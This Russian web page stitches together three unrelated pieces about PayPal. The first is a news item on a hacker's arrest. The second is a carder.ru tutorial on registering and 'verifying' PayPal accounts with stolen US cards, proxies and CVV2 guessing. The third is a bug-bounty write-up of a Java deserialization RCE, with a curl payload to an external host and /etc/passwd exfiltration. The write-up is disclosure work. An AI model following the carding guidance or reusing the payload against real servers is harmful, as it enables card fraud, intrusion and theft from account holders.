Уязвимости счетов PayPal, мошенничество refund transactions, взлом аккаунта

17.01.2018,

Несмотря на разработку все новых и новых методов кибербезопасности, электронные кошельки и системы оплаты всегда будут лакомым кусочком для хакеров и других нечистых на руку людей, обитающих во Всемирной паутине. Уже не раз совершались попытки взлома платежных систем и попытки воровства банковских карт, но хакер из Ростова-на-Дону не так давно сумел взломать одну из самых распространенных в мире платежных систем и украсть у ее пользователей несколько миллионов рублей.

Не так давно по подозрению в киберпреступлении органы правопорядка Ростова-на-Дону задержали 21-летнего хакера. Как стало известно, молодой человек (имя и фамилию которого следствие не разглашает) в течение нескольких месяцев взламывал частные аккаунты пользователей PayPal и снимал с данных их счетов денежные средства. Как заявили в пресс-службе правоохранительных органов,

«Атакам подверглась в первую очередь популярная система PayPal, в которой хакеры обнаружили существенную уязвимость. Менее чем за полгода житель Ростова получил несколько миллионов рублей и планировал продолжать свою деятельность».

В ходе следствия удалось выяснить, что молодой человек с 15 лет увлекался программированием и информационной безопасностью. В какой-то момент он начал писать программы для того, чтобы можно было выяснять персональные данные пользователей. Видимо, после этого на него и вышли другие киберпреступники, которые предложили хакеру сотрудничество. В данный момент на ростовского хакера заведено уголовное дело по статье, связанной с созданием и распространением вредоносных программ. Ну а мы, в свою очередь, напомним, что для любых своих платежных систем старайтесь использовать как можно более лучшие системы защиты: двух- и трехэтапную аутентификацию, сложные пароли, биометрические данные и вообще все любые доступные средства.

Вообще-то я не умею писать всякие умные статьи, про всякие умные фичи, но сейчас я решусь на это. Я не буду вам впаривать, что такое Paypal и с чем его едят, вы наверно это сами отлично знаете (если не знаете — смотрите предыдущую статью). Эту статью я хотел бы прежде всего посвятить работе с pp. Прежде чем штурмовать pp надо к этому основательно подготовиться. Прежде всего, надо вычистить все куки в винде (находятся они в директории c:windowscookies). И надо найти хороший прокси-лист с анонимными проксями. Его можно найти на сайте www.void.ru, там есть 10 проксей. Прокси должен быть анонимный. После этого начинается самая трудная часть, под анонимным прокси надо войти в Paypal, перед этим надо сделать емайл на домене com. Тыкаете Sign Up на pp, и вводите все данные с карты. О том, какая карта нужна на pp это отдельная история. Прежде всего нужна РАБОЧАЯ, штатовская, visa или mc, с большим балансом, и самое главное с cvv2 номером. CVV2 — это трехзначный номер который написан на задней стороне карты. Берете карточку и заполняете все поля данными с карты. На ваш e-mail вам придет письмо, вы открываете ваш e-mail и тыкаете на линк в вашем мейле. Таким образом вы зарегите ваш емайл в Paypal’е. Осталось все за малым — ввести вашу креду в pp. Для этого надо сделать Add Credit Card. Вы вводите вашу креду с CVV2 номером и если она проходит, то у вас будет Unverified Paypal Account, т.е. вы сможете снять с него только 250$. Вы задаете вопрос, а что же делать если нет CVV2 номера??? Вы можете попробовать девственную Mastercard. И использовать 3,4,5 номер карты в качестве CVV2 номера, но это не всегда проходит. Это примерно проходит в 1/3 случаев. Так что лучше иметь девственницу с CVV2  😉 

Если вы дочитали до этого места и кричите мне, что я ламер и.т.д  и.т.п, то сейчас я вам расскажу занимательную сказку как верифицировать Paypal. Если вам это не интересно, то вы можете прямо сейчас удалить мою статью с криками ОТСТОЙ!!! Если у вас pp просуществовал неделю и его не закрыли, то это круто 🙂 , а если серьезно, то он будет и дальше существовать n-ое время. Едешь потом на www.etrade.com. Е трэйд — это сервис который позволяет открывать onlin’овские банковские аккаунты. Теперь я вам в подробностях опишу процесс открытия банковского аккаунта.  Идите на www.etrade.com и нажмите там Open an Account, это находится в левом верхнем углу. Потом жмете на E*TRADE Account Express. Дальше я вам буду описывать процесс создания аккаунта пошагово.

Шаг N 1

Шаг N 2

Шаг N 3

Шаг N 4

Все права на статью принадлежатwww.carder.ru


В декабре 2015 года я обнаружил критически опасную уязвимость
в одном из сайтов PayPal для бизнеса, которая позволяла мне выполнять произвольные команды на веб-серверах внутри корпоративной сети. При отправке веб-формы на сайте manager.paypal.com в одном из скрытых параметров передавались закодированные данные в виде сериализованного объекта Java. Данный параметр можно было подделать, изменив название класса и значения его свойств, что и привело к выполнению произвольного кода на серверах. Я немедленно сообщил об этой проблеме в PayPal, и она была быстро исправлена.

Детали уязвимости

При тестировании безопасности сайта manager.paypal.com в burp suite мое внимание привлек необычный параметр “oldFormData”, который выглядел как сложный Java-объект, закодированный в base64:
В шестнадцатеричном виде он начинался с сигнатуры «aced 0005»
, по которой я понял, что это сериализованный Java-объект класса “java.util.HashMap” без какой-либо цифровой подписи. Это означало, что при отправке формы мы могли подменить его на объект совершенно другого класса — и на сервере будет вызван метод “readObject” (или “readResolve”) нового класса. Для эксплуатации мне необходимо было найти в исходниках приложения (или в библиотеках, которые оно использует) класс, который имеет что-то интересное в методе readObject или readResolve, например создание файла или исполнения системной команды с параметрами, на которые мы можем влиять. К счастью, Chris Frohoff (@frohoff) и Gabriel Lawrence (@gebl) в начале 2015 года проделали отличную работу и нашли цепочку подходящих классов в библиотеке Commons Collections. Они также выпустили утилиту ysoserial для генерации подходящих сериализованных объектов, которые в результате приводят к выполнению произвольного кода в методе readObject.

Эксплойт

Я немедленно скачал эту утилиту с их проекта на github и сгенерировал объект класса «sun.reflect.annotation.AnnotationInvocationHandler»
, десериализация которого приводит к выполнению команды «curl x.s.artsploit.com/paypal»

, если на сервере доступна библиотека Commons Collections.
Выполнение команды curl отсылает на мой собственный внешний сервер запросы по протоколам DNS и HTTP, что хорошо для выявления так называемых слепых уязвимостей, при которых результат выполнения команды не выводится в ответе сервера. После этого я отправил полученный закодированный объект на сервер в параметре “oldFormData” и буквально не поверил своим глазам, когда в логе доступа на моем Nginx высветилась строчка:
Адрес 173.0.81.65 принадлежал компании PayPal и в этот момент я понял, что могу выполнять произвольные команды на серверах сайта manager.paypal.com. Я мог бы загрузить бекдор, получить доступ к базам данных, которые использует приложение, или побродить по внутренней сети. Вместо этого я лишь прочитал файл “/etc/passwd” отослав его на свой сервер как подтверждение уязвимости:
Я также записал видео, как воспроизвести эту уязвимость, и отправил всю информацию в PayPal.

Ответ от PayPal

После получения отчета в PayPal быстро пофиксили уязвимость и запросили у меня мой внешний IP-адрес, с которого я проводил тестирование, для проведения внутреннего расследования. Примерно через месяц PayPal назначили мне награду за найденную уязвимость, хотя баг в их системе числился как дубликат. Насколько я понял, другой исследователь, Mark Litchfield, также отправил им информацию о похожей уязвимости 11 декабря 2015 года, за два дня до моего отчета. В любом случае PayPal выплатили мне хорошее денежное вознаграждение, за что им большое спасибо.

Видео:

[pp_youtube src=»https://www.youtube.com/embed/3GnyrvVyJNk?feature=oembed» ]

Предупреждение YotuWP: ключ API был удален, по этому поводу обратитесь к своему администратору.

Рейтинг автора
5
Подборку подготовил
Андрей Ульянов
Наш эксперт
Написано статей
168
Ссылка на основную публикацию
Похожие публикации